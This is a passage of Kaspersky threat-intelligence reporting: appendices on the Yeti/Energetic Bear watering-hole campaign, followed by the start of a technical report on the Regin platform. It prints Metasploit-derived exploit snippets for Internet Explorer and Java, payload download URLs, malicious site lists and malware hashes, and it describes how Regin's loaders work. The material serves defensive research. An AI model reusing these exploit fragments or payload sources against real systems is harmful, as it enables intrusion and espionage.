718c6211cb78e5fea0e02be4960c23f6c1cdb1eedeb7a711b595b422c84076a3 roxsuite.com/includes/phpmailer/page.jpg c:\DOCUME~1\p\LOCALS~1\Temp\sysplug.exe 11c3bb242264fe5146854ca27ebd50b0, sysplug.exe, Worm.Win32.WBNA.pdj Signed with Intel Certificate, Root CA Intel (likely spoofed) %temp%\crtscp.exe 59f7a5d39c47bd62fedf24f5f2ea6e01, crtscp.exe, Worm.Win32.WBNA.pdj 24c9d984bdaf2152bde121393efbaa894d3a361090f6b97623a90567c27ee2ca TLP: Green For any inquire please contact intelreports@kaspersky.com %temp%\spoolsv.dll 5441c2cfbdf1feafc3dafd69c34f5833, spoolsv.dll, Trojan.Win32.Agent.icrq 103ee051b40466a13f03021903ea49194c1d1e31064173e21798502bcf7e276a Identifying the clsid used in this script is a giveaway on the targeted MS XML Core Services software: Of course, most of this code appears to be ripped from the corresponding metasploit exploit code. Interestingly, the metasploit code was derived from 0day Itw at the time in June 2013. But the attackers didn t use it until after the vulnerability was patched. The Yeti attackers simply did not need a 0-day arsenal. The attackers must have known or expected that they were targeting Internet Explorer 7 on the victims systems. The later, updated versions of the corresponding metasploit code maintain ROP to evade problems with attacking IE 8+ ASLR/DEP protections, but the Yeti code does not. This absence is somewhat odd, because KSN events indicate the code was active in August 2013, and the metasploit dev added ROP to their code in June 2013. The shellcode delivered from this exploit also includes an unusual url and filename string build routine: TLP: Green For any inquire please contact intelreports@kaspersky.com The decoded strings here: TLP: Green For any inquire please contact intelreports@kaspersky.com 10.3. Obvious Metasploit Rips The Yeti exploits are ripped line-for-line from the metasploit framework. For example, class files served from www.nahoonservices.com/wp-content/plugins/rss-poster/start. jar include code pulled from the msf. From the Yeti LyvAGalW.class file: System.out.println( Here we go... String s = jdbc:msf:sql://127.0.0.1:8080/sample String s2 = userid String s3 = password java.sql.Connection connection = DriverManager.getConnection(s, s2, s3); And for comparison, here is the java exploit code from metasploit framework: github.com/rapid7/ metasploit-framework/blob/master/external/source/exploits/cve-2013-1488/Exploit.java: System.out.println( Here we go... String url = jdbc:msf:sql://127.0.0.1:8080/sample String userid = userid String password = password Connection con = DriverManager.getConnection(url, userid, password); Yeti s delivery of CVE-2013-1347 from nahoonservices.com/wp-content/plugins/rss-poster/negc. html displays much the same level of technical originality. From negc.html f0 = document.createElement( span document.body.appendChild(f0); f1 = document.createElement( span document.body.appendChild(f1); f2 = document.createElement( span document.body.appendChild(f2); document.body.contentEditable= true f2.appendChild(document.createElement( datalist f1.appendChild(document.createElement( span f1.appendChild(document.createElement( table try{ f0.offsetParent=null; }catch(e) { }f2.innerHTML= TLP: Green For any inquire please contact intelreports@kaspersky.com f0.appendChild(document.createElement( f1.innerHTML= CollectGarbage(); try { a = document.getElementById( myanim a.values = animvalues; catch(e) {} The matching CVE-2013-1347 code pulled from msf https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/ browser/ie_cgenericelement_uaf.rb (minor modifications made to its shellcode build algorithm. Actually, the Yeti version is dumbed down, when compared to the metasploit framework version ): f0 = document.createElement( span document.body.appendChild(f0); f1 = document.createElement( span document.body.appendChild(f1); f2 = document.createElement( span document.body.appendChild(f2); document.body.contentEditable= true f2.appendChild(document.createElement( datalist f1.appendChild(document.createElement( span f1.appendChild(document.createElement( table try{ f0.offsetParent=null; }catch(e) { }f2.innerHTML= f0.appendChild(document.createElement( f1.innerHTML= CollectGarbage(); try { a = document.getElementById( myanim a.values = animvalues; catch(e) {} TLP: Green For any inquire please contact intelreports@kaspersky.com 10.4. Changing Lights Out exploit sites download flow In earlier cases (July 2013), successful Java exploitation served from nahoonservices.com would cascade into more Yeti components planted on victim systems. The java exploit in turn downloaded Karagany backdoors, which in turn downloaded stealers from 91.203.6.71: User visits utilico.co.uk redirected to nahoonservices.com Java Exploits www.nahoonservices.com/wp-content/plugins/rss-poster/start.jar www.nahoonservices.com/wp-content/plugins/rss-poster/juch.php a615d71af0c856c89bb8ebb5c6e7644d fcf7bfe68ff302869475b73e4c605a099ed2e1074e79c7b3acb2a451cd2ea915 juch.php saved as searchindexer.exe , or coresyns.exe and run, then downloads and runs... 91.203.6.71/check2/muees27jxt/fl.exe 4bfdda1a5f21d56afdc2060b9ce5a170 07bd08b07de611b2940e886f453872aa8d9b01f9d3c61d872d6cfe8cde3b50d4 91.203.6.71/check2/muees27jxt/scs.exe da94235635f61a06a35882d30c7b62b3 05fb04474a3785995508101eca7affd8c89c658f7f9555de6d6d4db40583ac53 In a later incident, KSN data recorded one origin of these exploits as: hxxp://keeleux.com/sfreg/img/nav/gami.jar and hxxp://keeleux.com/sfreg/img/nav/stoh.jar (ab580bd7a1193fe01855a6b8bd8f456b) The file stoh.jar includes DownloadExec.class , which maintains a hardcoded string to the URL. This string appears to be more commonly implemented at the active exploit sites: hxxp://keeleux.com/sfreg/img/nav/iden21php?dwl=fne It writes out the TmpProvider.dll Havex loader downloaded from this resource and runs it using rundll32.exe eWON trojanized installer detail: hxxp://www.ewon.biz/software/eCatcher/eCatcherSetup.exe (eb0dacdc8b346f44c8c370408bad43 06,70103c1078d6eb28b665a89ad0b3d11c1cbca61a05a18f87f6a16c79b501dfa9) Havex loader version 038 (401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67) dropped as TmpProvider.dll. TLP: Green For any inquire please contact intelreports@kaspersky.com 10.5. Related Targeted Software and CVE Entries Internet Explorer CVE-2013-1347 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1347 Microsoft Internet Explorer 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly allocated or (2) is deleted, as exploited in the wild in May 2013. CVE-2012-1889 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1889 Microsoft XML Core Services 3.0, 4.0, 5.0, and 6.0 accesses uninitialized memory locations, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site. Java CVE-2013-1488 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1488 The Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 17 and earlier, and OpenJDK 6 and 7, allows remote attackers to execute arbitrary code via unspecified vectors involving reflection, Libraries, improper toString calls, and the JDBC driver manager, as demonstrated by James Forshaw during a Pwn2Own competition at CanSecWest 2013. CVE-2012-1723 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1723 Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 update 32 and earlier, 5 update 35 and earlier, and 1.4.2_37 and earlier allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to Hotspot. CVE-2012-5076 https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-cve-2012-5076 Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allows remote attackers to affect confidentiality, integrity, and availability, related to JAX-WS. CVE-2013-2465 https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-2465 Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE TLP: Green For any inquire please contact intelreports@kaspersky.com 7 Update 21 and earlier, 6 Update 45 and earlier, and 5.0 Update 45 and earlier, and OpenJDK 7, allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to 2D. NOTE: the previous information is from the June 2013 CPU. Oracle has not commented on claims from another vendor that this issue allows remote attackers to bypass the Java sandbox via vectors related to Incorrect image channel verification in 2D. CVE-2013-2423 https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-2423 Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 17 and earlier, and OpenJDK 7, allows remote attackers to affect integrity via unknown vectors related to HotSpot. NOTE: the previous information is from the April 2013 CPU. Oracle has not commented on claims from the original researcher that this vulnerability allows remote attackers to bypass permission checks by the MethodHandles method and modify arbitrary public final fields using reflection and type confusion, as demonstrated using integer and double fields to disable the security manager. CVE-2012-4681 https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-4681 Multiple vulnerabilities in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 6 and earlier allow remote attackers to execute arbitrary code via a crafted applet that bypasses SecurityManager restrictions by (1) using com.sun.beans.finder.ClassFinder.findClass and leveraging an exception with the forName method to access restricted classes from arbitrary packages such as sun.awt.SunToolkit, then (2) using reflection with a trusted immediate caller leverage the getField method to access and modify private fields, as exploited in the wild in August 2012 using Gondzz.class and Gondvv.class. CVE-2013-0422 https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-cve-2013-0422 Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using the public getMBeanInstantiator method in the JmxMBeanServer class to obtain a reference to a private MBeanInstantiator object, then retrieving arbitrary Class references using the findClass method, and (2) using the Reflection API with recursion in a way that bypasses a security check by the java.lang.invoke.MethodHandles.Lookup.checkSecurityManager method due to the inability of the sun.reflect.Reflection.getCallerClass method to skip frames related to the new reflection API, as exploited in the wild in January 2013, as demonstrated by Blackhole and Nuclear Pack, and a different vulnerability than CVE-2012-4681 and CVE-2012-3174. NOTE: some parties have mapped the recursive Reflection API issue to CVE-2012-3174, but CVE-2012-3174 is for a different vulnerability whose details are not public as of 20130114. CVE-2013-0422 covers both the JMX/MBean and Reflection API issues. NOTE: it was originally reported that Java 6 was also vulnerable, but the reporter has retracted this claim, stating that Java 6 is not exploitable because TLP: Green For any inquire please contact intelreports@kaspersky.com the relevant code is called in a way that does not bypass security checks. NOTE: as of 20130114, a reliable third party has claimed that the findClass/MBeanInstantiator vector was not fixed in Oracle Java 7 Update 11. If there is still a vulnerable condition, then a separate CVE identifier might be created for the unfixed issue. Mozilla Firefox CVE-2013-1690 https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-1690 Mozilla Firefox before 22.0, Firefox ESR 17.x before 17.0.7, Thunderbird before 17.0.7, and Thunderbird ESR 17.x before 17.0.7 do not properly handle onreadystatechange events in conjunction with page reloading, which allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted web site that triggers an attempt to execute data at an unmapped memory location. Adobe Reader CVE-2010-2883 https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2010-2883 Stack-based buffer overflow in CoolType.dll in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a PDF document with a long field in a Smart INdependent Glyphlets (SING) table in a TTF font, as exploited in the wild in September 2010. NOTE: some of these details are obtained from third party information. TLP: Green For any inquire please contact intelreports@kaspersky.com XI. Appendix 11: Malicious Domains and Redirectors Exploit URL Client side software parkour.kz/wp-content/plugins/checkbot/kool.jar Java www.nahoonservices.com/wp-content/plugins/rssposter/negc.html nahoonservices.com/wp-content/plugins/rss-poster/ jungle.pdf nahoonservices.com/wp-content/plugins/rss-poster/ direct.jar waytomiracle.com/physics/wp-content/plugins/ akismet/kool.jar kenzhebek.com/tiki/files/templates/listpages/start. kenzhebek.com/tiki/files/templates/listpages/negc. html kenzhebek.com/tiki/files/templates/listpages/negq. html kenzhebek.com/tiki/files/templates/listpages/stoq. Internet Explorer Adobe Reader Java cve-2012-1723 keeleux.com/sfreg/img/nav/leks.jar Java cve-2012-1723 2013.08 Java cve-2013-1488 2013.07 Java cve-2012-5076 2012.12 Java cve-2012-5076 2013.02 adultfriendfrance.com/wp-includes/pomo/Applet.jar Java cve-2012-1723 2013.02 lafollettewines.com/blog/wp-includes/pomo/direct. Java cve-2013-0422 2013.02 lafollettewines.com/blog/wp-includes/pomo/leks.jar Java cve-2012-1723 2013.02 www.nahoonservices.com/wp-content/plugins/rssposter/start.jar www.nahoonservices.com/wp-content/plugins/rssposter/dgoat.jar adultfriendgermany.com/wp-content/plugins/ google-analytics-for-wordpress/etihu.jar TLP: Green Approximately Active 2013.06 2013.12 2013.07 cve-2013-1347 2013.08 cve-2013-2465 cve-2010-2883 2012.12 Java cve-2013-0422 2013.05 Java cve-2013-2465 2014.01 Java cve-2013-2423 Internet Explorer Internet Explorer 2013.05 2013.09 cve-2013-1347 2013.05 cve-2013-1347 2013.08 2013.05 2013.09 For any inquire please contact intelreports@kaspersky.com Client side software Exploit URL roxsuite.com/components/com_search/views/ Java search/tmpl/outstat.jar claudia.dmonzon.com/wp-content/plugins/jetpack/_ Java inc/Outstat.jar Approximately Active cve-2012.4681 2013.11 cve-2012-4681 2013.11 aziaone.com/wp-includes/pomo/Outstatsf.jar Java cve-2012-4681 2012.09 roxsuite.com/includes/phpmailer/bara.jar Java cve-2012-1723 2012.08 serviciosglobal.com/classes/kool.jar Java cve-2013-2465 2013.11 mohsenmeghdari.com/addons/_defensio/leks.jar Java cve-2012-1723 2013.10 mohsenmeghdari.com/addons/_defensio/negc.html Internet Explorer cve-2013-1347 2013.09 mahsms.ir/wp-includes/pomo/srgh.php?a=r2 Java cve-2013-2465 2014.01 cum-filled-trannys.com/wp-includes/pomo/Deliver. Java cve-2012-4681 2012.08 woman-site.com/modules/mod_search/stoh.jar Java cve-2012-1723 2013.11 TLP: Green For any inquire please contact intelreports@kaspersky.com Compromised Referrer gse.com.ge gamyba.le.lt utilico.co.uk yell.ge chariotoilandgas.com TLP: Green Referrer Profile Georgian State Electrosystem (GSE) - 100% state-owned joint stock company providing transmission and exclusive dispatch services to about 50 eligible companies in Georgia Lietuvos energijos gamyba Lithuania s largest electricity generating company, which combines all state-operated electricity generating capacities Investment company significant proportion of its Gross Assets invested in developed markets in existing utilities and related stocks, including...water and sewerage companies, waste, electricity, gas, telecommunications, ports, airports, service companies, rail, roads, any business with essential service or monopolistic characteristics and in any new utilities Chairman - has many years experience in the international utility sector, playing a major role in the restructuring and privatization of the UK electricity industry Georgian Yellow Pages, maintains Manganese mining org contacts Chariot Oil and Gas Limited - independent oil and gas exploration company with interests in Namibia and Mauritania Exploit Site Approximately Active lafollettewines. 2013 Q1 lafollettewines. 2013 Q3 nahoonservices. 2012 Q4 - 2013 nahoonservices. 2012 Q4 - 2013 nahoonservices. 2012 Q4 - 2013 For any inquire please contact intelreports@kaspersky.com Compromised Referrer longreachoilandgas.com strainstall.com jfaerospace.com vitogaz.com vitogaz.com bsicomputer.com TLP: Green Referrer Profile Exploit Site Longreach Oil & Gas Ltd. - fast growing oil and gas exploration company, with significant license interest in onshore and offshore Morocco For more than 45 years Strainstall has helped industries worldwide to operate safely by ensuring that structures, equipment and infrastructure are safe to use. We have developed world-class systems to monitor physical and performance parameters such as load, stress, temperature, acceleration, pressure and displacement James Fisher Aerospace (JFA) is an internationally respected aerospace project organization, with an extensive multi-skilled engineering design and global supply capability supporting military and civil aerospace industries Formerly known as JF Faber, the company s expertise and experience includes extensive projects in aerospace as well as in a variety of other high integrity industries French-based gas distributor, supplier and technical developer French-based gas distributor, supplier and technical developer California-based industrial computer systems manufacturer and developer nahoonservices. Approximately Active 2012 Q4 - 2013 nahoonservices. 2012 Q4 - 2013 nahoonservices. 2012 Q4 - 2013 serviciosglobal. 2013 Q4 keeleux.com 2013 Q4 serviciosglobal. 2013 Q4 For any inquire please contact intelreports@kaspersky.com Compromised Referrer energyplatform.eu firstenergy.com firstenergy.com www.energo-pro.ge energo-pro.ge gritech.fr TLP: Green Referrer Profile French-based RBF, Renewables Business Facilitator - organization representing 200 renewable energy research centers and businesses FirstEnergy Capital - Calgary based investment banking provider. Financial, advisory and investment services to the global energy sector FirstEnergy Capital - Calgary based investment banking provider. Financial, advisory and investment services to the global energy sector Energy Pro Georgia - one of the biggest energy companies in the region...vast investments in the development and maintenance of company owned renewable energy objects, rehabilitation of grid infrastructure and service improvement Energy Pro Georgia - one of the biggest energy companies in the region...vast investments in the development and maintenance of company owned renewable energy objects, rehabilitation of grid infrastructure and service improvement GritecH - engineering company in the field of high voltage and computing power transmission steel structures Exploit Site Approximately Active serviciosglobal. 2013 Q4 serviciosglobal. 2013 Q4 kenzhebek.com 2013 Q3 kenzhebek.com 2013 Q2, Q3 keeleux.com 2013 Q2 keeleux.com 2013 Q4 For any inquire please contact intelreports@kaspersky.com Compromised Referrer rare.fr used.samashmusic.com sbmania.net 39essex.com meteo.orange.fr energyplatform.eu gritech.fr TLP: Green Referrer Profile seau national des Agences gionales de l Energie et de Environnement - brings together 12 partners Operational partnerships have been established with the Ministry of Ecology, Energy, Sustainable Development and the Sea... ADEME and the network of local energy agencies (FLAME) US-based website - used musical instrument stores located across the US. Frequently emails potential customers with links to site Sponge Bob fan site SpongeBuddy Mania - includes a forum where individuals can be specifically targeted, including adults British based global advisers legal mediation and advocacy, policy and business advice French-based weather forecasting for Saint Gervais, FR French-based RBF, Renewables Business Facilitator - organization representing 200 renewable energy research centers and businesses GritecH - engineering company in the field of high voltage and computing power transmission steel structures Exploit Site Approximately Active keeleux.com 2013 Q4 waytomiracle. 2014 Q1 waytomiracle. 2014 Q1 serviciosglobal. 2013 Q4 serviciosglobal. 2013 Q4 woman-site.com 2013 Q4 woman-site.com 2013 Q4 For any inquire please contact intelreports@kaspersky.com Compromised Referrer Referrer Profile vitoreseau.com So far the only collective alternative energy natural gas was electricity. Now, with the solution VITORESEAU choice exists. VITOGAZ gives your town a safe, mahsms.ir efficient and economical to the problem of gas supply places inaccessible to traditional city gas response. TLP: Green Exploit Site Approximately Active 2014 Q1 For any inquire please contact intelreports@kaspersky.com XII. Appendix 12: Previous and parallel research ENERGY WATERING HOLE ATTACK USED LIGHTSOUT EXPLOIT KIT, Threatpost http://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit http://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit Watering-Hole Attacks Target Energy Sector, Cisco Security http://blogs.cisco.com/security/watering-hole-attacks-target-energy-sector/ Global Threat Report 2013, Crowdstrike http://www.crowdstrike.com/sites/all/themes/crowdstrike2/css/imgs/platform/CrowdStrike_ Global_Threat_Report_2013.pdf Talk2M Incident Report, [30-01-2014], eWON The eWON commercial website www.ewon.biz has been attacked. A corrupted eCatcherSetup.exe file has been placed into the CMS (Content Management System) of www.ewon.biz website and eCatcher download hyperlinks have been rerouted to this corrupted file. http://www.talk2m.com/en/full_news.html?cmp_id=7&news_id=51 LightsOut EK: By the way... How much is the fish!? , Malwageddon http://malwageddon.blogspot.ru/2013/09/unknown-ek-by-way-how-much-is-fish.html LightsOut EK Targets Energy Sector, Zscalar Threatlab http://research.zscaler.com/2014/03/lightsout-ek-targets-energy-sector.html Advisory (ICSA-14-178-01), ICS Focused Malware, ICS-CERT http://ics-cert.us-cert.gov/advisories/ICSA-14-178-01 havex-rat [analysis], Gi0vann1 Sug4r http://pastebin.com/2x1JinJd [analysis], @unixfreaxjp http://pastebin.com/raw.php?i=qCdMwtZ6 Hello, a new specifically covered exploit kit, Snort VRT http://vrt-blog.snort.org/2014/03/hello-new-exploit-kit.html TLP: Green For any inquire please contact intelreports@kaspersky.com Continued analysis of the LightsOut Exploit Kit, Snort VRT http://vrt-blog.snort.org/2014/05/continued-analysis-of-lightsout-exploit.html http://vrt-blog.snort.org/2014/05/continued-analysis-of-lightsout-exploit.html An Overview of Exploit Packs (Update 20) Jan 2014, Mila, Contagio http://contagiodump.blogspot.com/2010/06/overview-of-exploit-packs-update.html Havex Hunts For ICS/SCADA Systems, f-secure http://www.f-secure.com/weblog/archives/00002718.html Dragonfly: Cyberespionage Attacks Against Energy Suppliers, Symantec http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/ Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf CCIRC Operational Summary - REPORTING PERIOD: FEBRUARY 16, 2014 MARCH 1, 2014 Targeted attacks against Canadian energy sector , Canadian Cyber Incident Response Centre http://origin.library.constantcontact.com/download/get/file/1102733644597-691/CCIRC++Operational+Summary+-+16February+2014+to+1+March+_2.pdf TLP: Green For any inquire please contact intelreports@kaspersky.com THE REGIN PLATFORM NATION-STATE OWNERSHIP OF GSM NETWORKS Kaspersky Lab Report Version 1.0 24 November 2014 Contents Introduction, history...................................................................................................................................................... 3 Initial compromise and lateral movement................................................................................................................... 3 The Regin platform........................................................................................................................................................ 4 Stage 1 32/64 bit................................................................................................................................................ 4 Stage 2 loader 32-bit....................................................................................................................................... 7 Stage 2 loader 64-bit....................................................................................................................................... 8 Stage 3 32-bit kernel mode manager VMEM.sys ........................................................................................ 8 Stage 3 64-bit....................................................................................................................................................... 9 Stage 4 (32-bit) / 3 (64-bit) dispatcher module, disp.dll ................................................................................. 9 32-bit.................................................................................................................................................................. 9 64-bit.................................................................................................................................................................. 9 Stage 4 Virtual File Systems (32/64-bit).......................................................................................................... 10 Unusual modules and artifacts.................................................................................................................................. 16 Artifacts.................................................................................................................................................................. 16 GSM targeting........................................................................................................................................................ 18 Communication and C&C........................................................................................................................................... 20 Victim statistics .......................................................................................................................................................... 22 Attribution.................................................................................................................................................................... 23 Conclusions................................................................................................................................................................. 23 Technical appendix and indicators of compromise................................................................................................... 24 Yara rules................................................................................................................................................................ 24 MD5s...................................................................................................................................................................... 25 Registry branches used to store malware stages 2 and 3............................................................................. 26 C&C IPs................................................................................................................................................................... 26 VFS RC5 decryption algorithm.............................................................................................................................. 27 TLP: GREEN Contact: intelreports@kaspersky.com Introduction, history In the spring of 2012, following a Kaspersky Lab presentation on the unusual facts surrounding the Duqu malware (http://www.kaspersky.com/about/press/major_malware_outbreaks/duqu), a security researcher contacted us and mentioned that Duqu reminded him of another high-end malware incident. Although he couldn t share a sample, the researcher mentioned Regin , a type of malware attack that is now dreaded by security administrators in many government agencies around the world. For the past three years we have been tracking this most elusive malware all around the world. From time to time samples would appear on various multi-scanner services, but they were all unrelated to each other, cryptic in functionality, and lacking in context. It is unknown exactly when the first samples of Regin appeared in the wild. Some of them have timestamps dating back to 2003. The victims of Regin fall into the following categories: Telecom operators Government institutions Multinational political bodies Financial institutions Research institutions Individuals involved in advanced mathematical/cryptographic research So far, we ve observed two main objectives of the attackers: Intelligence gathering Facilitating other types of attacks While in most cases the attackers were focused on extracting sensitive information such as emails and other electronic documents, we have observed cases where the attackers compromised telecom operators to enable the launch of additional sophisticated attacks. This is discussed in detail in the GSM attacks section, below. Perhaps one of the most well-known victims of Regin was Jean Jacques Quisquater (https://en.wikipedia.org/ wiki/Jean-Jacques_Quisquater), a well-known Belgian cryptographer. In February 2014, Quisquater announced he was the victim of a sophisticated cyber-intrusion incident. We were able to obtain samples from the Quisquater case and confirm they belong to the Regin platform. Another victim of Regin was a computer we call the Magnet of Threats . The computer belongs to a certain research institution and, besides Regin, it has been attacked by Animal Farm, Itaduke, Mask/Careto, Turla, and some other advanced threats that do not have public names, all co-existing happily on the same computer at some point. Initial compromise and lateral movement The exact method used for the initial compromise remains a mystery, although several theories exist, including use of man-in-the-middle attacks with browser zero-day exploits. For some of the victims we observed tools and modules designed for lateral movement. So far we have not encountered any exploits. The replication modules are copied to remote computers using Windows administrative shares and then executed. Obviously this technique requires administrative privileges inside the victim s network. In several cases the infected machines were also Windows domain controllers. Targeting of system administrators via web-based exploits is a simple way of achieving immediate administrative access to the entire network. TLP: GREEN Contact: intelreports@kaspersky.com The Regin platform Although some private research groups refer to it as the Regin malware , it is not entirely accurate to use the term malware in this case. In essence, Regin is a cyberattack platform, which the attackers deploy in victim networks for total remote control at all levels. The platform is extremely modular in nature and has multiple stages. Regin platform diagram Stage 1 32/64 bit Known MD5s: 01c2f321b6bfdb9473c079b0797567ba 06665b96e293b23acc80451abb413e50 187044596bc1328efa0ed636d8aa4a5c 1c024e599ac055312a4ab75b3950040a 26297dc3cd0b688de3b846983c5385e5 2c8b9d2885543d7ade3cae98225e263b 47d0e8f9d7a6429920329207a32ecc2e 4b6b86c7fec1c574706cecedf44abded 6662c390b2bbbd291ec7987388fc75d7 744c07e886497f7b68f6f7fe57b7ab54 b269894f434657db2b15949641a67532 b29ca4f22ae7b7b25f79c1d4a421139d b505d65721bb2453d5039a389113b566 ba7bb65634ce1e30c1e5415be3d1db1d bfbe8c3ee78750c3a520480700e440f8 d240f06e98c8d3e647cbf4d442d79475 db405ad775ac887a337b02ea8b07fddc TLP: GREEN Contact: intelreports@kaspersky.com ffb0b9b5b610191051a7bdf0806e1e47 In general, the first samples victims detect in their networks are stage 1 loaders. These are the easiest to notice because they are the only executables that exist directly on the victim s computer. These samples use an odd technique to load the next stages, which until recently was unique to Regin. Interestingly, in mid-2012, the ZeroAccess gang implemented a very similar loading mechanism, which possibly suggests it learned about Regin and its unique features. (See http://www.symantec.com/connect/blogs/ trojanzeroaccessc-hidden-ntfs-ea). The particular feature used (or abused) by Regin to hide its next stages is called NTFS Extended Attributes (EA). Originally, these were implemented in Windows NT for compatibility with OS/2 applications; however, they made their way into later versions of Windows, namely 2000, XP and Vista. The malware hides its modules in NTFS EAs, splitting large files into several blocks of limited size. These are dynamically joined, decrypted and executed in memory. Most of the stage 1 samples we have seen appear to have been built on top of other source code projects, which are piggybacked ; for instance, the Ser8UART project: http://www.mirrorservice.org/sites/downloads.sourceforge.net/s/se/ser8uart-driver/ser8uart-driver/ Ser8UART%20%201.1.2.1/. For instance, the Regin loader with md5 01c2f321b6bfdb9473c079b0797567ba was built on top of the Ser8UART source code. A careful examination however spots the encrypted configuration block at offset 0x5600. We can assume the attackers take various low-level open-source projects or Windows DDK source codes and merge them together with their malicious loader. Hence, each stage 1 loader looks very different from others, as it contains random useless code from various other programs. This technique makes it more difficult to build reliable detection for the loaders. Despite the differences, all stage 1 samples are similar in functionality. They contain an encrypted config block that points to the next stages: Once decrypted, the block contains several folder names and registry key names: TLP: GREEN Contact: intelreports@kaspersky.com In the example above, the stage 1 tries to load a second stage from the extended attributes of the system directory specified in the configuration block (in our case, the WINDOWS folder). It also tries to read additional data from the EAs of the second directory (in our case, the WINDOWS\fonts directory). The second attribute value is optional and may have been used to overcome size limitations. If the first EA data block is missing, the module also tries to read the complete body of the 2nd stage from a registry value using the key and value names from the configuration block. The body of the second stage is encrypted with one of two algorithms that are simple variations of XOR, and is supposed to be a PE file. The first stage loads that file in memory and calls its entry point function. The 64-bit variant works in a slightly different way. Instead of storing the 2nd stage in the registry or extended attributes, the attackers preferred to store it after the end of the last partition on disk. Known filenames for the 64-bit stage 1: system32\wsharp.dll detected on a victim machine in Germany system32\wshnetc.dll detected on a victim machine in Belgium All the stage 1 modules for 64-bit systems were signed with fake digital certificates. The two fake certificates we identified are supposed to belong to Microsoft Corporation and Broadcom Corporation. During the infection phase, the attackers inject a trusted CA in the certificates chain, which instructs the system to trust their signatures. TLP: GREEN Contact: intelreports@kaspersky.com Here is what the hard drive of a 64-bit system infected with Regin looks like: Interestingly, while the 32-bit Regin stage 1 runs in kernel mode, on 64-bit systems the attacker code starts in user mode. This is perhaps due to the fact that it is more difficult to run kernel mode on modern Windows 64-bit systems. Stage 2 loader 32-bit Known MD5s: 18d4898d82fcb290dfed2a9f70d66833 b9e4f9d32ce59e7c4daf6b237c330e25 The second stage for 32-bit systems is implemented as a driver module. It has a configuration block encrypted in a similar way to the first stage module. The configuration block contains the names of two system directories that hold the encrypted third stage in their extended attributes. It also has the name of a registry value that may hold the body of the third stage in case the EAs are missing (for computers with a FAT/FAT32-formatted system disk). Once the encrypted third stage is read from the registry or NTFS EAs, it is decrypted using the RC5 algorithm and a fixed 16-byte key that is hardcoded in the second stage. Then, it is decompressed using the NRV2e algorithm from the open-source UCL library. The second stage module loads the resulting binary in memory, validates that it is a valid PE file, and calls its entry point in a system thread. The second stage also creates a marker file that can be used to identify the infected machine. Known filenames for this marker are: %SYSTEMROOT%\system32\nsreg1.dat %SYSTEMROOT%\system32\bssec3.dat %SYSTEMROOT%\system32\msrdc64.dat These files have their timestamp set to the timestamp of the system file %SYSTEMROOT%\system32\lsass.exe TLP: GREEN Contact: intelreports@kaspersky.com The second stage has additional code for removing the startup code of Regin if signaled by the third stage. Its configuration data contains the locations of the first three stages, including registry keys, names of the directories that hold the encrypted EAs, and the location of the initial driver. Essentially, the second stage can remove all the Regin stages from the system, effectively cleaning the machine and leaving only the encrypted VFS behind. Decrypted configuration block of the second stage Stage 2 loader 64-bit Known MD5: d446b1ed24dad48311f287f3c65aeb80 The 64-bit version of the second stage loader is a PE DLL module, since the 64-bit bootstrap chain operates in user mode. Just like the first stage, it loads the encrypted body of the next stage from the end of the physical disk and decrypts it with a hardcoded RC5 key, then decompresses it using the nrv2 algorithm from the UCL library. After decryption and decompression, the code checks if the next stage is a Windows PE DLL module, and if it is, it loads and executes it. Stage 3 32-bit kernel mode manager VMEM.sys Known MD5s: 8486ec3112e322f9f468bdea3005d7b5 da03648948475b2d0e3e2345d7a9bbbb On 32-bit systems, the third stage is implemented as a driver module and provides the basic functionality of the malicious framework. It is responsible for operating the encrypted virtual file system and loading additional plugins, and also provides several built-in plugins for the entire framework. The module initializes the framework, sets up the plugin system and starts the actual work cycle of the malware. It also passes execution to the plugin id 50221 that is loaded from the VFS. TLP: GREEN Contact: intelreports@kaspersky.com Built-in plugins provided by this module are: Plugin description Core framework functionality UCL library for compression and decompression using the nrv2 family of algorithms RC5 encryption and decryption facilities API for manipulating the encrypted virtual file system (VFS) API for manipulating the encrypted virtual file system (VFS) 50225 API for code injection and kernel-mode hooking 50215 System information 50223 Module notification routines 50111 Utilities Stage 3 64-bit On 64-bit Windows systems, stage 3 is missing. Stage 2 loads the dispatcher directly from the disk and runs it. Stage 4 (32-bit) / 3 (64-bit) dispatcher module, disp.dll 32-bit Known MD5s: 1e4076caa08e41a5befc52efd74819ea 68297fde98e9c0c29cecc0ebf38bde95 6cf5dc32e1f6959e7354e85101ec219a 885dcd517faf9fac655b8da66315462d a1d727340158ec0af81a845abd3963c1 64-bit Known MD5: de3547375fbf5f4cb4b14d53f413c503 The 